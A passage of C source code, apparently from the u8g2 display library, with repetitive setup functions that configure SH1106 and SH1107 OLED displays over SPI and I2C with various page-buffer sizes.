u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_i2c_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_i2c_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_i2c_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_i2c_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_i2c_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_i2c_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_i2c_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_10_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid u8g2_Setup_sh1107_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 2 */\nvoid u8g2_Setup_sh1107_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 f */\nvoid u8g2_Setup_sh1107_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1107_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1107 */\n/* sh1107 1 */\nvoid 